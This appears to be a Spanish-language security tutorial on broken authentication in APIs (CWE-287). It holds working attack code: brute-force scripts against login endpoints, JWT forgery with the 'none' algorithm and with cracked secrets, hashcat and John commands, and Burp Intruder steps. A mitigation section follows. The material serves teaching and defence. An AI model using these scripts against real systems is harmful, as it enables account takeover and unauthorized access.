Skip to content

Broken Authentication - Autenticación Rota

CWE: CWE-287 - Improper Authentication
OWASP API: #2
Referencia: https://cwe.mitre.org/data/definitions/287.html


¿Qué es Broken Authentication?

La capacidad de un atacante de comprometer contraseñas, tokens de sesión o JWT para suplantar a otros usuarios, obtener acceso administrativo o realizar acciones no autorizadas.


Tipos de Vulnerabilidades

1. Credenciales Débiles por Defecto

bash
# APIs sin cambiar credenciales por defecto
curl -u admin:admin https://api.app.com/api/admin/users
curl -u admin:admin123 https://api.app.com/api/admin

# Credenciales conocidas
admin:password
admin:12345
root:toor
test:test

2. Falta de Rate Limiting - Brute Force

bash
# Ataque de fuerza bruta sin límite
#!/bin/bash

usuario="admin"
wordlist="/usr/share/wordlists/rockyou.txt"

while IFS= read -r password; do
  response=$(curl -s -X POST "https://api.app.com/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"$usuario\",\"password\":\"$password\"}" \
    -w "\n%{http_code}" | tail -1)
  
  if [ "$response" -eq 200 ]; then
    echo "[✓] Contraseña encontrada: $password"
    break
  else
    echo "[-] Intentando: $password"
  fi
done < "$wordlist"

3. Credenciales en Logs y Respuestas

bash
# API devuelve credenciales en respuesta
curl -X POST "https://api.app.com/api/register" \
  -d '{"username":"test","password":"pass123"}'

# Respuesta:
{
  "id": 100,
  "username": "test",
  "password": "pass123",  # ← PROBLEMA
  "email": "test@test.com"
}

# Credenciales en logs
curl -v "https://api.app.com/api/login?username=admin&password=admin123"
# Authorization header en logs de servidor

4. Tokens JWT Débiles

bash
# JWT sin verificación
eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

# Decodificar
echo "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ" | base64 -d
# {"alg":"none"}
# {"user":"admin"}

# Crear JWT falsificado con "none"
python3 -c "
import jwt
payload = {'user': 'admin', 'role': 'admin'}
token = jwt.encode(payload, '', algorithm='none')
print(token)
"

# Usar token falsificado
curl "https://api.app.com/api/admin" \
  -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ"

5. JWT con Secret Débil

bash
# Descifrar JWT
python3 -c "
import jwt

token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ'

# Intentar secretos conocidos
secrets = ['secret', 'admin', 'password', '123456', 'key', 'jwt']

for secret in secrets:
    try:
        decoded = jwt.decode(token, secret, algorithms=['HS256'])
        print(f'✓ Secret encontrado: {secret}')
        print(f'  Payload: {decoded}')
    except:
        pass
"

# Usando hashcat para fuerza bruta
hashcat -m 16500 -a 0 token.txt wordlist.txt

# Crear JWT con nuevo secret
python3 -c "
import jwt

original_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ'
payload = {'user': 'admin', 'role': 'admin', 'admin': True}
secret = 'secret'

new_token = jwt.encode(payload, secret, algorithm='HS256')
print(new_token)
"

6. Token Reutilizable o Sin Expiración

bash
# Token sin "exp" claim
{
  "user": "usuario",
  "role": "user"
  // Falta "exp"
}

# Permanece válido indefinidamente
curl "https://api.app.com/api/profile" \
  -H "Authorization: Bearer token_antiguo"  # Sigue funcionando

7. Falta de Verificación de Email

bash
# Registro sin verificación
curl -X POST "https://api.app.com/api/register" \
  -d '{"email":"admin@app.com","password":"hacker"}'

# Respuesta 200 - cuenta creada sin verificar
# Dirección de correo no verificada
# Acceso con credencial falsa

Métodos de Explotación

Ataque de Fuerza Bruta Distribuido

python
import requests
import time
from datetime import datetime

def brute_force_api(target_url, username, wordlist_file, delay=0):
    """
    Ataque de fuerza bruta a API
    """
    
    with open(wordlist_file, 'r') as f:
        passwords = f.readlines()
    
    total = len(passwords)
    current = 0
    
    for password in passwords:
        password = password.strip()
        current += 1
        
        try:
            response = requests.post(
                f"{target_url}/api/login",
                json={"username": username, "password": password},
                timeout=5
            )
            
            if response.status_code == 200:
                print(f"\n[✓] ENCONTRADA: {username}:{password}")
                return password
            elif response.status_code == 429:
                print(f"\n[!] Rate limit alcanzado en intento {current}/{total}")
                break
            else:
                print(f"[-] Intento {current}/{total}: {password}", end='\r')
        
        except Exception as e:
            print(f"[!] Error: {e}")
        
        time.sleep(delay)
    
    print(f"\nNo encontrada contraseña después de {total} intentos")

# Ejecutar
brute_force_api(
    "https://api.app.com",
    "admin",
    "/usr/share/wordlists/rockyou.txt",
    delay=0.5
)

JWT Secret Brute Force

bash
# Herramienta: hashcat
# Descargado de: https://hashcat.net/hashcat

# Extraer parte firmada del JWT
token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ"

# Formato: header.payload.signature
# Para hashcat: header.payload$signature

signature="${token##*.}"
header_payload="${token%.*}"

hashcat_input="${header_payload}\$${signature}"

# Hashcat
hashcat -m 16500 "$hashcat_input" /usr/share/wordlists/rockyou.txt

Session Fixation

bash
# API vulnerable reutiliza sesión
curl -v "https://api.app.com/api/login?username=admin&password=admin"

# Observe Set-Cookie: session_id=ABC123

# Enviar el mismo session_id a otra persona
# Cuando login, ambos tienen la misma sesión

Herramientas de Explotación

Burp Suite - Intruder

1. Capturar POST /api/login
2. Enviar a Intruder
3. Payload positions:
   POST /api/login
   {"username":"§admin§","password":"§password§"}

4. Payload 1: admin, administrator, user, root
5. Payload 2: rockyou.txt (primeros 1000)
6. Mode: Cluster bomb
7. Ejecutar
8. Filtrar por Status 200 / diferentes Content-Length

John the Ripper - JWT

bash
# Extraer JWT
token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

# Guardar en archivo
echo "$token" > token.txt

# Crackear
john --format=jwt token.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Ver resultado
john token.txt --show

OWASP ZAP - Ataque Automático

1. Proxy: https://api.app.com
2. Capture: POST /api/login
3. Scan → Attack
4. Seleccionar "Authentication Credentials"
5. Wordlists: rockyou.txt

Python - Exploit Completo

python
import jwt
import json
import base64

def exploit_jwt_none_algorithm(original_token):
    """
    Explotación: JWT con algoritmo 'none'
    """
    
    # Decodificar
    parts = original_token.split('.')
    
    # Decodificar payload
    payload = parts[1]
    # Agregar padding si falta
    padding = 4 - (len(payload) % 4)
    if padding != 4:
        payload += '=' * padding
    
    decoded = base64.b64decode(payload)
    data = json.loads(decoded)
    print(f"[*] Payload original: {data}")
    
    # Modificar
    data['role'] = 'admin'
    data['user'] = 'admin'
    
    # Crear nuevo token con none
    header = base64.b64encode(b'{"alg":"none","typ":"JWT"}').decode().rstrip('=')
    new_payload = base64.b64encode(json.dumps(data).encode()).decode().rstrip('=')
    new_token = f"{header}.{new_payload}."
    
    print(f"[✓] Token modificado: {new_token}")
    return new_token

def exploit_jwt_secret_change():
    """
    Si descubrimos el secret, podemos crear cualquier token
    """
    
    payload = {
        "user": "admin",
        "role": "admin",
        "email": "attacker@evil.com",
        "iat": 1234567890
    }
    
    secret = "secret"  # Descubierto mediante brute force
    
    token = jwt.encode(payload, secret, algorithm="HS256")
    print(f"[✓] Token forjado: {token}")
    return token

# Ejecutar
original = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ"
exploit_jwt_none_algorithm(original)
exploit_jwt_secret_change()

Mitigación y Prevención

1. Implementar Rate Limiting

python
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(
    app=app,
    key_func=get_remote_address,
    default_limits=["200 per day", "50 per hour"]
)

@app.route('/api/login', methods=['POST'])
@limiter.limit("5 per minute")  # 5 intentos por minuto
def login():
    username = request.json.get('username')
    password = request.json.get('password')
    
    user = authenticate_user(username, password)
    if user:
        token = generate_jwt(user)
        return {"token": token}
    
    return {"error": "Invalid credentials"}, 401

2. JWT Seguro

python
import jwt
from datetime import datetime, timedelta
import os

# Secret fuerte
JWT_SECRET = os.environ.get('JWT_SECRET')  # Variable de entorno
JWT_ALGORITHM = "HS256"
JWT_EXPIRATION = timedelta(hours=1)

def generate_jwt(user_id):
    """
    Generar JWT con expiración
    """
    payload = {
        "user_id": user_id,
        "role": user.role,
        "iat": datetime.utcnow(),
        "exp": datetime.utcnow() + JWT_EXPIRATION  # ← IMPORTANTE
    }
    
    token = jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
    return token

def verify_jwt(token):
    """
    Verificar JWT
    """
    try:
        payload = jwt.decode(
            token,
            JWT_SECRET,
            algorithms=[JWT_ALGORITHM]  # No permitir "none"
        )
        return payload
    except jwt.ExpiredSignatureError:
        return None  # Token expirado
    except jwt.InvalidTokenError:
        return None  # Token inválido

3. Verificación de Email

python
import secrets
from datetime import datetime, timedelta

@app.route('/api/register', methods=['POST'])
def register():
    email = request.json.get('email')
    password = request.json.get('password')
    
    user = User(email=email, password=hash_password(password))
    user.email_verified = False
    
    # Generar token de verificación
    verification_token = secrets.token_urlsafe(32)
    user.verification_token = verification_token
    user.verification_expires = datetime.utcnow() + timedelta(hours=24)
    
    db.session.add(user)
    db.session.commit()
    
    # Enviar email
    send_verification_email(email, verification_token)
    
    return {"message": "Verifica tu email"}, 201

@app.route('/api/verify/<token>', methods=['POST'])
def verify_email(token):
    user = User.query.filter_by(verification_token=token).first()
    
    if not user or user.verification_expires < datetime.utcnow():
        return {"error": "Token inválido o expirado"}, 400
    
    user.email_verified = True
    user.verification_token = None
    db.session.commit()
    
    return {"message": "Email verificado"}

4. Credenciales por Defecto

python
# ✗ NUNCA incluir credenciales por defecto
DEFAULT_USER = "admin"
DEFAULT_PASSWORD = "admin"

# ✓ Solicitar cambio en primer login
@app.before_first_request
def init_security():
    if User.query.count() == 0:
        # Generar contraseña aleatoria
        temp_password = secrets.token_urlsafe(16)
        print(f"Contraseña temporal: {temp_password}")
        # Guardar de forma segura, exigir cambio

Checklist de Seguridad

  • [ ] Rate limiting en endpoints de login (5 intentos/minuto)
  • [ ] Contraseñas con mínimo 12 caracteres
  • [ ] Hashing seguro (bcrypt, scrypt, argon2)
  • [ ] JWT con expiración (máx 1 hora)
  • [ ] JWT solo con HS256 o RS256 (no "none")
  • [ ] Email verificado antes de acceso
  • [ ] Sin credenciales por defecto
  • [ ] Logout invalida token
  • [ ] Sessions con HTTPONLY + SECURE
  • [ ] CORS configurado restricitivamente
  • [ ] Logging de intentos fallidos
  • [ ] MFA para admin

Referencias